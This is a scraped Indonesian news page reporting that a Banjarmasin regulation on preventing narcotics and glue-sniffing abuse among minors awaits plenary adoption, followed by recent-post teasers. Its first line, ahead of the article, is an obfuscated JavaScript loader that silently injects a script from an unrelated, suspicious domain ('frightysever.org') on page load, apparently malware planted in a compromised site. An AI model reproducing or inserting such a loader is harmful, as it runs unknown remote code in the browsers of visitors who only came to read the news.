(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Perda Penyalahgunaan Narkotika dan Zat Adiktif Lain Siap Diparipurnakan


BANJARMASIN, Perda Fasilitasi Pencegahan Penyalahgunaan Narkotika dan Zat Adiktif Lainnya sudah memasuki garis akhir, dalam artian isi perda yang ada telah dikoreksi dari fasilitasi provinsi.

Dijelaskan oleh Kasubag Perundang-undangan Sekdakot Banjarmasin Jefri Fransyah, bahwa dari hasil fasilitasi sebelumnya masih ada beberapa pasal yang harus disesuikan dan dikaji kembali.
Adalah isi pasal 10 ayat 1 dan 2 yang dikaji kembali. Serta pasal 2, 6,7, 9, dan 12 yang perlu diberi sedikit penambahan penjelasan. “Semua sudah clear, tinggal diparipurnakan untuk ditetapkan menjadi perda,” jelas Jefri.

Beberapa hal yang dikoreksi adalah mengenai pasal-pasal yang dimintai kejelasan oleh pihak provinsi. “Misalnya pembentukan satgas, dimintai kejelasan satgas itu apa. Penjelasan mengenai bagaimana satgas itu bekerja, bentuk-bentuk pelaksaan dari penangan satgas, itu dijelaskan,” ungkap Jefri.

Untuk sanksi bagi pelanggar perda, tentu akan lebih rendah dari sanksi undang-undang (UU) baik dari kurungan dan dendanya. Untuk sanksi perda terdiri dari sanksi-sanksi yang pelanggarnnya belum diatur di dalam UU.

Semisal jenis obat-obatan yang tidak termasuk di dalam golongan narkotika, seperti contohnya lem. “Nah kan lem barang legal, penyalahgunaannya itu tidak diatur di UU, dengan perda ini kita bisa mengenakan,” bebernya.

Ketua Pansus, Asmad, yang juga menjabat Ketua Komisi III DPRD Banjarmasin menambahkan perda ini dikhusukan bagi pihak-pihak di bawah umur yang berfokus pada pencegahan dan rehabilitasi. “Jadi kalau ada yang terkena sanksi, didampingi juga, otomatis pasti ada tindakan. Kewenangannya di kepolisian kan, itu pendampingannya kalau di bawah umurc yapemerintah daerah, atau dinas-dinas terkait,” tuturnya.(mario)

Reporter:Mario
Editor:Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.